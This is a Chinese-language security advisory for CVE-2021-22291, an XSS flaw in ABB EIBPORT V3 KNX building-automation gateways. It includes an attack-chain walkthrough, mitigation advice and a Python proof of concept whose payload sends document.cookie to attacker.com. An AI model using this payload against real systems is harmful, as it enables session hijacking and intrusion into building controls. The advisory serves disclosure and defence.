IPBUF安全漏洞报告
English
CVE-2021-22291 CVSS 8.0 高危

CVE-2021-22291:ABB EIBPORT V3 KNX 跨站脚本漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2021-22291
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ABB EIBPORT V3 KNX / ABB EIBPORT V3 KNX GSM

相关标签

XSS跨站脚本CVE-2021-22291ABBEIBPORTKNX智能楼宇楼宇自动化Web漏洞高危漏洞

漏洞概述

CVE-2021-22291是ABB EIBPORT V3 KNX系列智能楼宇自动化网关设备中存在的一个跨站脚本(XSS)漏洞。该漏洞源于Web页面生成过程中对用户输入的不当中和处理(Improper Neutralization of Input During Web Page Generation),属于典型的反射型或存储型XSS漏洞。ABB EIBPORT V3 KNX是用于KNX楼宇自动化系统的网关设备,广泛应用于智能建筑中对照明、暖通、安防等系统的集中控制与管理。该漏洞由ABB公司网络安全团队([email protected])发现并报告,CVSS 3.1基础评分为8.0分,属于高危级别漏洞。该漏洞影响EIBPORT V3 KNX和EIBPORT V3 KNX GSM两个产品型号,影响版本均为3.9.2之前的所有版本。由于EIBPORT设备通常部署在企业或商业建筑的内部网络中,攻击者可能通过构造恶意URL或注入恶意脚本,在用户浏览器中执行任意JavaScript代码,从而窃取会话凭证、篡改设备配置或进一步渗透内网。ABB已发布修复版本3.9.2来解决此问题,建议相关用户尽快升级。

技术细节

该漏洞属于典型的Web应用XSS漏洞,根本原因是ABB EIBPORT V3 KNX设备的Web管理界面在生成页面时未能充分过滤和中和用户输入的特殊字符(如<、>、"、'等HTML/JS元字符)。攻击者可以将恶意JavaScript代码嵌入到请求参数中,当目标用户访问包含恶意代码的URL或查看受影响的页面时,浏览器会解析并执行嵌入的脚本。由于该漏洞需要低权限认证(PR:L)且需要用户交互(UI:R),攻击者需要诱使已登录的管理员点击恶意链接或在受感染页面中浏览特定内容。利用成功后,攻击者可以:1)窃取管理员会话Cookie,实现未授权访问;2)利用管理员权限篡改KNX设备配置,影响楼宇自动化系统正常运行;3)在受害者浏览器中执行任意操作,如发起CSRF攻击修改设备关键参数;4)利用XSS作为跳板,进一步渗透企业内网。由于CVSS向量中机密性、完整性和可用性影响均为高(C:H/I:H/A:H),成功利用可对受影响的楼宇自动化系统造成严重的安全风险。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、Censys等网络空间搜索引擎或内网扫描发现暴露的ABB EIBPORT V3 KNX设备的Web管理界面(默认端口80/443),确认目标设备固件版本低于3.9.2。
STEP 2
步骤2:获取低权限凭证
攻击者通过社工、默认凭证爆破或利用其他漏洞获取EIBPORT Web界面的低权限用户账号(PR:L),为后续XSS攻击建立基础。
STEP 3
步骤3:构造恶意XSS载荷
攻击者分析Web界面中未充分过滤用户输入的参数点,构造包含恶意JavaScript代码的XSS载荷,用于窃取管理员会话或执行特权操作。
STEP 4
步骤4:投递恶意链接
攻击者通过钓鱼邮件、内网即时通讯等方式,将包含XSS载荷的恶意URL发送给具有管理员权限的目标用户(UI:R),诱使其点击。
STEP 5
步骤5:触发XSS执行
管理员点击恶意链接后,浏览器在受信任的EIBPORT域名上下文中执行恶意脚本,窃取管理员会话Cookie或直接以管理员身份执行敏感操作。
STEP 6
步骤6:权限提升与系统控制
利用窃取的管理员会话,攻击者可以修改KNX设备配置、添加恶意用户、关闭安全功能,甚至通过设备作为跳板进一步渗透企业内网。
STEP 7
步骤7:影响楼宇自动化系统
攻击者可篡改照明、暖通、安防等关键系统的配置,造成物理安全隐患或服务中断,对建筑运营造成严重影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-22291 - ABB EIBPORT V3 KNX XSS PoC # Vulnerability: Reflected/Stored Cross-Site Scripting (XSS) # Affected: ABB EIBPORT V3 KNX before v3.9.2 import requests TARGET_URL = "http://<target-ip>/cgi-bin/" # Replace with actual target endpoint SESSION_COOKIE = "session=<admin-session>" # Admin session cookie required # Malicious JavaScript payload - steals session cookie and exfiltrates to attacker server XSS_PAYLOAD = ( "<script>" "fetch('https://attacker.com/steal?cookie=' + document.cookie)" "</script>" ) def exploit_xss(target_url, payload): """ Inject XSS payload into vulnerable parameter. The vulnerable parameter is typically a user-controlled input field in the EIBPORT web management interface. """ headers = { "Cookie": SESSION_COOKIE, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" } # Example: injecting payload into a vulnerable parameter (e.g., username, search field) params = { "username": payload, "page": "config", "action": "view" } try: response = requests.get(target_url, headers=headers, params=params, timeout=10) if payload in response.text: print("[+] XSS payload reflected in response - VULNERABLE!") print(f"[+] Target URL: {response.url}") # Craft malicious URL to send to admin malicious_url = response.url print(f"[+] Send this URL to admin: {malicious_url}") else: print("[-] Payload not reflected - may be sanitized or not vulnerable") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_xss(TARGET_URL, XSS_PAYLOAD)

影响范围

ABB EIBPORT V3 KNX < 3.9.2
ABB EIBPORT V3 KNX GSM < 3.9.2

防御指南

临时缓解措施
在无法立即升级固件的情况下,建议采取以下临时缓解措施:1)限制EIBPORT Web管理界面的网络访问范围,仅允许可信管理终端通过VPN或专用网络访问;2)部署网络层WAF规则,过滤包含常见XSS特征(如<script>、onerror=、javascript:等)的HTTP请求;3)为浏览器配置严格的内容安全策略(CSP),限制内联脚本执行;4)启用会话Cookie的HTTPOnly属性,降低凭证窃取风险;5)对管理员用户进行安全意识培训,警惕可疑链接和钓鱼攻击;6)监控EIBPORT设备的异常登录和配置变更行为,及时发现潜在攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表